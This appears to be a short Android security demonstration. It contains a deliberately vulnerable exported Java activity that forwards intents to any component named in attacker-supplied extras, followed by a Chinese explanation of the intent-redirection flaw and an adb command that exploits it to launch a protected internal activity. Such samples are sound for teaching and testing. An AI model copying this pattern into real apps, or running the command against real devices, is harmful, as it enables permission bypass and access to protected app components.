
// VulnActivity.java - Exported activity that forwards intents
public class VulnActivity extends Activity {
@Override
protected void onCreate(Bundle b) {
super.onCreate(b);
Intent incoming = getIntent();
// Retrieve target component from extras
String targetPkg = incoming.getStringExtra("pkg");
String targetCls = incoming.getStringExtra("cls");
Intent forward = new Intent();
forward.setClassName(targetPkg, targetCls);
// Copy all extras from original intent
forward.putExtras(incoming);
startActivity(forward);
}
}
导出的 Android Activity 会盲目地将传入的 Intent 重定向到由 Intent 的 extras 中指定的组件。攻击者可以精心构造 Intent,使应用启动受保护的内部 Activity 并携带攻击者控制的数据,从而绕过权限检查。
在 Android 模拟器上部署存在漏洞的应用。通过 adb 发送 Intent:
adb shell am start -n com.example/.VulnActivity --es pkg com.example.internal --es cls com.example.SecretActivity
内部 Activity 会在没有适当权限的情况下启动。